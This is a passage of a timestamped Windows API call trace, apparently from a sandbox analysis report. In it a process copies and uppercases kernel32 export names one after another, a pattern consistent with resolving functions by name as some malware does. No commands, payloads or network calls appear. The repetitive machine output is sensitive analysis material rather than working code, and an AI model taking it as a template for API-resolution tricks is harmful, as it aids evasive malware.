(lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0095.327] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0095.327] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0095.327] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0095.327] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0095.327] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0095.327] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0095.327] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0095.327] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0095.327] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0095.327] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0095.327] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0095.327] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0095.327] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0095.327] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0095.328] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0095.328] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0095.328] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0095.328] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0095.328] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0095.328] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0095.328] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0095.328] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0095.328] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0095.328] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0095.328] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0095.328] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0095.328] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0095.328] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0095.328] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0095.328] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0095.328] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0095.328] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0095.328] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0095.328] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0095.328] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0095.328] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0095.328] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0095.328] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0095.328] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0095.328] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0095.328] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0095.328] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0095.328] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0095.328] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0095.329] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0095.329] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0095.329] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0095.329] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0095.329] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0095.329] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0095.329] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0095.329] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0095.329] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0095.329] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0095.329] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0095.329] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0095.329] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0095.329] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0095.329] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0095.329] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0095.329] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0095.329] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0095.329] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0095.329] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0095.329] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0095.329] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0095.329] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0095.329] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0095.329] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0095.329] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0095.329] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0095.329] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0095.329] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0095.329] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0095.329] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0095.330] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0095.330] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0095.330] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0095.330] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0095.330] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0095.330] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0095.330] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0095.330] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0095.330] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0095.330] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0095.330] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0095.330] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0095.330] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0095.330] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0095.330] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0095.330] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0095.330] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0095.330] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0095.330] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0095.330] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0095.330] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0095.330] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0095.331] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0095.331] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0095.331] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0095.331] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0095.331] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0095.331] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0095.331] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0095.331] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0095.331] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0095.331] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0095.331] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0095.331] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0095.331] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0095.331] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0095.331] lstrlenA (lpString="BEEP") returned 4 [0095.331] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0095.331] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0095.331] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0095.331] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0095.331] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0095.331] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0095.331] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0095.332] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0095.332] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0095.332] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0095.332] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0095.332] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0095.332] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0095.332] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0095.332] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0095.332] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0095.332] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0095.332] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0095.332] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0095.332] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0095.332] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0095.332] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0095.332] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0095.332] lstrlenA (lpString="CANCELIO") returned 8 [0095.332] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0095.332] lstrlenA (lpString="CANCELIOEX") returned 10 [0095.332] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0095.333] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0095.333] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0095.333] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0095.333] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0095.333] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0095.333] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0095.333] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0095.333] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0095.333] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0095.333] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0095.333] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0095.333] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0095.333] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0095.333] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0095.333] lstrlenA (lpString="CHECKELEVATION") returned 14 [0095.334] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0095.334] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0095.334] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0095.334] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0095.334] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0095.334] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0095.334] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0095.334] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0095.334] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0095.334] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0095.334] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0095.334] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0095.334] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0095.334] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0095.334] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0095.334] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0095.334] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0095.334] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0095.334] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0095.334] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0095.335] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0095.335] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0095.335] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0095.335] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0095.335] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0095.335] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0095.335] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0095.335] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0095.335] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0095.335] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0095.335] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0095.335] lstrlenA (lpString="CLOSESTATE") returned 10 [0095.335] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0095.335] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0095.336] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0095.336] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0095.336] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0095.336] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0095.336] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0095.336] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0095.336] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0095.336] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0095.336] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0095.336] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0095.336] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0095.337] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0095.337] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0095.337] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0095.337] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0095.337] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0095.337] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0095.337] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0095.337] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0095.337] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0095.337] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0095.338] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0095.338] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0095.338] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0095.338] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0095.338] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0095.338] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0095.338] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0095.338] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0095.338] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0095.338] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0095.338] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0095.338] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0095.339] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0095.339] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0095.339] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0095.339] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0095.339] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0095.339] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0095.339] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0095.339] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0095.339] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0095.339] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0095.340] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0095.340] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0095.340] lstrlenA 